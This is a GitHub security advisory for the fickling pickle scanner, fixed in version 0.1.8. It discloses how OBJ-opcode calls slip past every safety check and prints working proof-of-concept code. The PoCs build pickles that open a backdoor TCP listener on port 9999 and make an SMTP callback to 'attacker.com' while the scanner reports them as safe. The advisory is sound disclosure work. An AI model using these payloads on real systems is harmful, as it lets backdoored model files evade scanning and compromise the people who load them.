GitHub Advisoryadvisory · PyPI

GHSA-mxhj-88fx-4pcv Fickling: OBJ opcode call invisibility bypasses all safety checks

HIGH Published 2026-02-24 Modified 2026-02-24 Official page ↗
Ecosystem
PyPI
Packages
fickling
Severity
High
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P
Weaknesses
CWE-436
Reviewed
2026-02-24

Affected packages

• PyPI fickling: < 0.1.8 → fixed in 0.1.8

Description

Assessment The interpreter so it behaves closer to CPython when dealing with `OBJ`, `NEWOBJ`, and `NEWOBJ_EX` opcodes (https://github.com/trailofbits/fickling/commit/ff423dade2bb1f72b2b48586c022fac40cbd9a4a). Original report Summary All 5 of fickling's safety interfaces -- `is_likely_safe()`, `check_safety()`, CLI `--check-safety`, `always_check_safety()`, and the `check_safety()` context manager -- report `LIKELY_SAFE` / raise no exceptions for pickle files that use the OBJ opcode to call dangerous stdlib functions (signal handlers, network servers, network connections, file operations). The OBJ opcode's implementation in fickling pushes function calls directly onto the interpreter stack without persisting them to the AST via `new_variable()`. When the result is discarded with POP, the call vanishes from the final AST entirely, making it invisible to all 9 analysis passes. This is a separate vulnerability from the REDUCE+BUILD bypass, with a different root cause. It survives all three proposed fixes for the REDUCE+BUILD vulnerability. Details The vulnerability is a single missing `new_variable()` call in `Obj.run()` (`fickle.py:1333-1350`). REDUCE (`fickle.py:1286-1301`) correctly persists calls to the AST: ```python Line 1300: call IS saved to module_body var_name = interpreter.new_variable(call) interpreter.stack.append(ast.Name(var_name, ast.Load())) ``` The comment on lines 1296-1299 explicitly states: "if we just save it to the stack, then it might not make it to the final AST unless the stack value is actually used." OBJ (`fickle.py:1333-1350`) does exactly what that comment warns against: ```python Line 1348: call is ONLY on the stack, NOT in module_body interpreter.stack.append(ast.Call(kls, args, [])) ``` When the OBJ result is discarded by POP, the `ast.Call` is gone. The decompiled AST shows the import but no function call: ```python from smtplib import SMTP # import present (from STACK_GLOBAL) result = None # no call to SMTP visible ``` Yet at runtime, `SMTP('127.0.0.1')` executes and opens a TCP connection. NEWOBJ (`fickle.py:1411-1420`) and NEWOBJ_EX (`fickle.py:1423-1433`) have the same code pattern but are less exploitable since CPython's NEWOBJ calls `cls.__new__()` (allocation only) while OBJ calls `cls(*args)` (full constructor execution with `__init__` side effects). Affected versions All versions through 0.1.7 (latest as of 2026-02-19). Affected APIs • `fickling.is_likely_safe()` - returns `True` for bypass payloads • `fickling.analysis.check_safety()` - returns `AnalysisResults` with `severity = Severity.LIKELY_SAFE` • `fickling --check-safety` CLI - exits with code 0 • `fickling.always_check_safety()` + `pickle.load()` - no `UnsafeFileError` raised, malicious code executes • `fickling.check_safety()` context manager + `pickle.load()` - no `UnsafeFileError` raised, malicious code executes PoC A pickle that opens a TCP connection to an attacker's server via OBJ+POP, yet fickling reports it as `LIKELY_SAFE`: ```python import io, struct def sbu(s): """SHORT_BINUNICODE opcode helper.""" b = s.encode() return b"\x8c" + struct.pack(" call GONE) NONE STOP """ buf = io.BytesIO() buf.write(b"\x80\x04\x95") # PROTO 4 + FRAME payload = io.BytesIO() payload.write(b"(") # MARK payload.write(sbu("smtplib") + sbu("SMTP")) # push module + func strings payload.write(b"\x93") # STACK_GLOBAL payload.write(sbu("127.0.0.1")) # push argument payload.write(b"o") # OBJ: call SMTP('127.0.0.1') payload.write(b"0") # POP: discard result payload.write(b"N.") # NONE + STOP frame_data = payload.getvalue() buf.write(struct.pack("<Q", len(frame_data))) buf.write(frame_data) return buf.getvalue() import fickling, tempfile, os data = make_obj_pop_bypass() path = os.path.join(tempfile.mkdtemp(), "bypass.pkl") with open(path, "wb") as f: f.write(data) print(fickling.is_likely_safe(path)) Output: True <-- BYPASSED (network connection invisible to fickling) ``` fickling decompiles this to: ```python from smtplib import SMTP result = None ``` Yet at runtime, `SMTP('127.0.0.1')` executes and opens a TCP connection. CLI verification: ```bash $ fickling --check-safety bypass.pkl; echo "EXIT: $?" EXIT: 0 # BYPASSED ``` Comparison with REDUCE (same function, detected): ```bash $ fickling --check-safety reduce_smtp.pkl; echo "EXIT: $?" Warning: Fickling detected that the pickle file may be unsafe. EXIT: 1 # DETECTED ``` Backdoor listener PoC (most impactful) A pickle that opens a TCP listener on port 9999, binding to all interfaces: ```python import io, struct def sbu(s): b = s.encode() return b"\x8c" + struct.pack("<B", len(b)) + b def binint(n): return b"J" + struct.pack("<i", n) def make_backdoor(): buf = io.BytesIO() buf.write(b"\x80\x04\x95") # PROTO 4 + FRAME payload = io.BytesIO() # OBJ+POP: TCPServer(('0.0.0.0', 9999), BaseRequestHandler) payload.write(b"(") # MARK payload.write(sbu("socketserver") + sbu("TCPServer") + b"\x93") # STACK_GLOBAL payload.write(b"(") # MARK (inner tuple) payload.write(sbu("0.0.0.0")) # host payload.write(binint(9999)) # port payload.write(b"t") # TUPLE payload.write(sbu("socketserver") + sbu("BaseRequestHandler") + b"\x93") # handler payload.write(b"o") # OBJ payload.write(b"0") # POP payload.write(b"N.") # NONE + STOP frame_data = payload.getvalue() buf.write(struct.pack("<Q", len(frame_data))) buf.write(frame_data) return buf.getvalue() import fickling data = make_backdoor() with open("/tmp/backdoor.pkl", "wb") as f: f.write(data) print(fickling.is_likely_safe("/tmp/backdoor.pkl")) Output: True <-- BYPASSED import pickle, socket server = pickle.loads(data) Port 9999 is now LISTENING on all interfaces s = socket.socket() s.connect(("127.0.0.1", 9999)) print("Connected to backdoor port!") # succeeds s.close() server.server_close() ``` Multi-stage combined PoC A single pickle combining signal suppression + backdoor listener + outbound callback + file persistence: ```python All four operations in one pickle, all invisible to fickling: 1. signal.signal(SIGTERM, SIG_IGN) - suppress graceful shutdown 2. socketserver.TCPServer(('0.0.0.0', 9999), BaseRequestHandler) - backdoor 3. smtplib.SMTP('attacker.com') - C2 callback 4. sqlite3.connect('/tmp/.marker') - persistence marker fickling reports: LIKELY_SAFE All 4 operations execute at runtime ``` `always_check_safety()` verification: ```python import fickling, pickle fickling.always_check_safety() with open("poc_obj_multi.pkl", "rb") as f: result = pickle.load(f) No UnsafeFileError raised -- all 4 malicious operations executed ``` Impact An attacker can distribute a malicious pickle file (e.g., a backdoored ML model) that passes all fickling safety checks. Demonstrated impacts: • Backdoor network listener: `socke…

Related

Weakness · CWE (1)

  • CWE-436 Interpretation Conflict weakness

References